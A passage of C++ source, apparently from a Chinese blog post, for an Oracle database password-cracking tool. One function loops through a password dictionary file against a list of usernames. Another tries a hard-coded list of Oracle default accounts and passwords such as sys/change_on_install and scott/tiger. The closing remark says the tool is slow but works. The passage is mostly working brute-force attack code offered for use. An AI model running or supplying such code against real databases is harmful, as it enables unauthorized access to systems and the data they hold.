return 0;
}
catch(otl_exception &p)
{
cerr<
//if( strstr( (char *)p.msg,"ORA-12541") != NULL) return 2;
}
return 1;
}
//从字典文件读入密码字符串尝试连接
bool testConnDB()
{
FILE *fp;
char arrPwd[MAXLINE+1] = {0};
bool bRet = false;
char arrConnStr[50] = {0};
fopen_s(&fp , DICT_FILE , "r");
if ( fp == NULL)
{
printf("字典文件打开失败!\n");
return false;
}
while ((fgets (arrPwd, MAXLINE, fp)) != NULL)
{
if( strlen(arrPwd) <= 1) continue;
arrPwd[strlen(arrPwd)-1] = 0;
for(int i = 0; i < arrTestUserLen;i++)
{
memset(arrConnStr,0,50);
sprintf_s(arrConnStr,"%s/%s@%s",arrTestUser[i],arrPwd,TNS_DBNAME);
printf("%s\n",arrConnStr);
if(connectORA(arrConnStr) == 0)
{
bRet = true;
goto end;
}
}
}
end:
fclose(fp);
return bRet;
}
//尝试用默认的用户名和密码连接
// 11g可用"select * from dba_users_with_defpwd"查出使用默认的用户名和密码
// 在本程序采用手工指定方式
bool testConnDBDF()
{
bool bRet = false;
char arrDfUser[][30] = {"sys","system","sysman","scott","aqadm","dbsnmp"};
char arrDfPwd[][30] = {"change_on_install","manager","oem_temp","tiger","aqadm","dbsnmp"};
char arrConnStr[50]= {0};
for(int i=0;i<6;i++)
{
memset(arrConnStr,0,50);
sprintf_s(arrConnStr,"%s/%s@%s",arrDfUser[i],arrDfPwd[i],TNS_DBNAME);
printf("%s\n",arrConnStr);
if( connectORA(arrConnStr) == 0)
{
bRet = true;
break;
}
}
return bRet;
}
这程序因为没使用多线程,而数据库的连接本身是个比较慢的动作,所以速度并不快,不过能跑就行。